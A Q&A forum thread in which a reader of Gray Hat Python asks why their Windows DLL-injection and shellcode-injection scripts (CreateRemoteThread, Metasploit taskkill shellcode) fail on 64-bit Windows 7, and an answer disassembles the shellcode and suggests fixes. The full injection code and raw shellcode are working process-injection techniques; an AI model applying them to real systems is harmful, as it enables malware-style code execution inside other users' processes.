Search code examples
pythondllcode-injectioncreateremotethread

CreateRemoteThread() not acting as expected


I'm reading through the book Gray Hat Python and am having trouble with with aforementioned injection techniques.

The DLL injection code works successfully, but the code in the dll does not appear to execute, and does not create a messagebox.

The code injection claims to have executed successfully, but the shellcode to terminate a process doesn't execute properly and the process receiving the injection immediately ceases to work.

Are these problems because of Windows 7 and the book is just a bit outdated? Or could there be other problems? I'm running Windows 7 Ultimate 64 bit.

Anyways, here is the code:

dll_inject.py

import sys
from ctypes import *

PAGE_READWRITE      = 0x04
PROCESS_ALL_ACCESS  = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM         = (0x1000 | 0x2000)

kernel32    = windll.kernel32
pid         = sys.argv[1]
dll_path    = sys.argv[2]

dll_len = len(dll_path)

#Get a handle to the process we are injecting into
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:
    print "[*} Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

#Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

#Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

#We need to resolve the address for LoadLibraryA
h_kernel32  = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib   = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

#Now we try to create the remote thread, with the entry point set to
#LoadlibraryA and a pointer to the DLL path as its single parameter
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address,
                                   0, byref(thread_id)):
    print "[*] Failed in inject DLL. Exting."
    sys.exit(0)

code_inject.py

import sys
from ctypes import *

#We set the EXECUTE access mask so that our shellcode will
#execute in the memory block we have allocated
PAGE_EXECUTE_READWRITE  = 0x00000040
PROCESS_ALL_ACCESS      = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM             = (0x1000 | 0x2000)

if not sys.argv[1] or not sys.argv[2]:
    print "Code Injector: ./code_injector.py <pid to inject> <pid to kill>"
    sys.exit(0)

kernel32    = windll.kernel32
pid         = int(sys.argv[1])
pid_to_kill = sys.argv[2]

# win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
# Encoder=None http://metasploit.com

shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

padding         = 4 - (len(pid_to_kill))
replace_value   = pid_to_kill + ("\x00" * padding)
replace_string  = "\x41" * 4

shellcode       = shellcode.replace(replace_string, replace_value)
code_size       = len(shellcode)

#Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

#Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,
                                      VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

#Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size,
                            byref(written))

#Now we create the remote thread and point its entry routine
#to be head of our shellcode
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None,
                                   0, byref(thread_id)):
    print "[*] Failed to inject process-killing shellcode. Exiting."
    sys.exit(0)

print "[*] Remote thread created with a thread ID of: 0x%0xx" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill
print "[*] Remote thread with ID 0x%08x created" % thread_id.value

injected.dll

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
      )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL,"Hello from the process!","I am inside the process you injected!",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
  break;
}
return TRUE;
}

Solution

  • I've actually searched on this a few times now, but from all the answer I've seen, it's said that Python's ctypes module works correctly, even on 64-bit version of Python. I personally haven't been able to get remote code injection to function correctly, but to be honest, I haven't really spent much time trying to troubleshoot it either. As for your particular problems:

    One thing I've found when working with ctypes is that it tends to be a lot more cooperative when you explicitly specify the argtypes and restype. Actually, if I remember correctly, I had almost identical code that refused to function properly until I specified the types involved. I have a an older version of one of my repositories that contains all the declarations for the API you're using in a file called _kernel32.py. Try plugging in those declarations and see if that fixes your dll_inject.py script.

    As for the code_inject.py script, I think TreeMonkie's comment is correct. While a 64-bit disassembler didn't turn up anything I could really follow, disassembling it with 32-bit instructions turned up the following:

    .686p
    .mmx
    .model flat
    
    ; Segment type: Pure code
    seg000 segment byte public 'CODE' use32
        assume cs:seg000
        assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
            cld
            call sub_4A
            mov eax, [ebp+3Ch]
            mov edi, [ebp+eax+78h]
            add edi, ebp
            mov ecx, [edi+18h]
            mov ebx, [edi+20h]
            add ebx, ebp
    
            loc_17:
            dec ecx
            mov esi, [ebx+ecx*4]
            add esi, ebp
            xor eax, eax
            cdq
    
            loc_20:
            lodsb
            test al, al
            jz short loc_2C
            ror edx, 0Dh
            add edx, eax
            jmp short loc_20
    
            loc_2C:
            cmp edx, [esp+4]
            jnz short loc_17
            mov ebx, [edi+24h]
            add ebx, ebp
            mov cx, [ebx+ecx*2]
            mov ebx, [edi+1Ch]
            add ebx, ebp
            mov ebx, [ebx+ecx*4]
            add ebx, ebp
            mov [esp+4], ebx
            retn
    
    
    
        sub_4A proc near
            xor eax, eax
            mov eax, fs:[eax+30h]
            test eax, eax
            js short loc_60
            mov eax, [eax+0Ch]
            mov esi, [eax+1Ch]
            lodsd
            mov ebp, [eax+8]
            jmp short loc_69
    
            loc_60:
            mov eax, [eax+0B0h]
            mov ebp, [eax+3Ch]
    
            loc_69:
            pop edi
            xor esi, esi
            pusha
            push esi
            mov eax, edi
            add eax, 7Bh
            push eax
            push 60E0CEEFh
            push 0E8AFE98h
            push edi
            jmp edi
        sub_4A endp
    
        strCmd_exeCTask db 'cmd.exe /c taskkill /PID AAAA',0
        seg000 ends
    end
    

    Anyways, if it is, in fact 32-bit shellcode, it's not going to work in a 64-bit process. (Though I will say that given how little I've read up on 64-bit assembly, it's very possible that I could be wrong about it being 32-bit)

    Lastly, you might want to check out the dllinject.py file in the pyinject project. It looks as though he has an implementation of remote shellcode injection in his class.

    Hope that helps.